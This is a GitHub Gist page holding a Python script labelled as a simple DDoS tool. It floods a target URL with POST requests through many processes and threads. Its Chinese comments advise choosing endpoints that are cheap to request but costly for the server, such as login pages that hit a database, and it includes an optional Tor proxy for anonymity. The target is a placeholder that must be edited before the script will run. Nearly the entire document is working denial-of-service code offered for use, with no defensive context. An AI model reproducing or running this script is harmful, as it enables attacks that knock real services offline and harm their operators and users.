Created
August 12, 2018 07:08
-
-
Save gsw945/a39fa867fdadb9a4d9f17def5ffc92f6 to your computer and use it in GitHub Desktop.
simple ddos via multiprocessing(.dummy) and requests
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # -*- coding: utf-8 -*- | |
| import os | |
| import sys | |
| import multiprocessing as mp | |
| from multiprocessing import Pool | |
| from multiprocessing.dummy import Pool as ThreadPool | |
| from datetime import datetime | |
| try: | |
| import requests | |
| except ImportError: | |
| os.system('pip install requests') | |
| import requests | |
| # 波次 | |
| WAVES = 128 | |
| # 进程分配(多个波次同时作用)数 | |
| MPS = 39 | |
| # 每波请求数 | |
| AMOUNTS = 36 | |
| # 线程分配(每个波次的请求任务同时执行)数 | |
| THS = 20 | |
| # | |
| # 总请求数: WAVES * AMOUNTS | |
| # 总并发数: MPS * THS | |
| # | |
| def do_request(*args): | |
| '''发送post请求(ddos发起的请求)''' | |
| # 代理 | |
| proxies = { | |
| 'http': 'socks5://127.0.0.1:9050', | |
| 'https': 'socks5://127.0.0.1:9050' | |
| } | |
| proxies = None # 禁用代理 | |
| # 请求地址 | |
| # 注意:需要寻找这样的请求(发起请求很快,服务器处理需要花费资源,而不是静态资源): | |
| # * 会连接数据库或调用其他服务 | |
| # * 发起请求提交的数据量很少 | |
| url = 'https://abc.def.com/ghi.login' | |
| # 数据 | |
| payload = { | |
| 'username': 'xxxxx', | |
| 'password': 'yyyyy' | |
| } | |
| try: | |
| resp = requests.post(url, timeout=10, data=payload, proxies=proxies) | |
| print(resp.ok) | |
| return resp.ok | |
| except: | |
| return None | |
| def do_ddos(*args): | |
| '''ddos攻击实现''' | |
| global THS, AMOUNTS | |
| # THS 个线程去执行do_request | |
| tpool = ThreadPool(THS) | |
| # do_request 执行36次(每一波攻击发请求36次) | |
| tresult_proxy = tpool.map_async(do_request, range(0, AMOUNTS)) | |
| # 关闭线程池 | |
| tpool.close() | |
| # 等待线程池中所有作业执行完成 | |
| tpool.join() | |
| # 收集结果 | |
| result = tresult_proxy.get() | |
| return result | |
| def main(): | |
| '''主调''' | |
| global MPS, WAVES | |
| # MPS 个进程去执行 do_ddos | |
| pool = Pool(processes=MPS) | |
| # do_ddos 执行128次(128波ddos攻击) | |
| result_proxy = pool.map_async(do_ddos, range(0, WAVES)) | |
| # 关闭进程池 | |
| pool.close() | |
| # 等待进程池中所有进程完成 | |
| pool.join() | |
| # 收集结果 | |
| result = result_proxy.get() | |
| print(result) | |
| if __name__ == '__main__': | |
| f = open(__file__, 'rt', encoding='utf-8') | |
| f_c = f.read() | |
| f.close() | |
| if 'https://abc.def.com/' in f_c: | |
| print('=' * 60) | |
| print('Error: 请先修改代码 39行的url 后再运行') | |
| print('=' * 60) | |
| sys.exit(1) | |
| # 多进程针对windows平台特殊处理 | |
| if sys.platform == 'win32' or os.name == 'nt': | |
| mp.freeze_support() | |
| # 开始时间 | |
| dt_begin = datetime.now() | |
| begin_str = dt_begin.strftime('%Y-%m-%d %H:%M:%S.%f') | |
| print('开始:', begin_str) | |
| # 调用 | |
| main() | |
| # 结束时间 | |
| dt_end = datetime.now() | |
| end_str = dt_end.strftime('%Y-%m-%d %H:%M:%S.%f') | |
| print('结束:', end_str) | |
| # 时间差(耗时) | |
| dt_diff = dt_end - dt_begin | |
| print('共用[{0.seconds}]秒[{0.microseconds}]微秒'.format(dt_diff)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment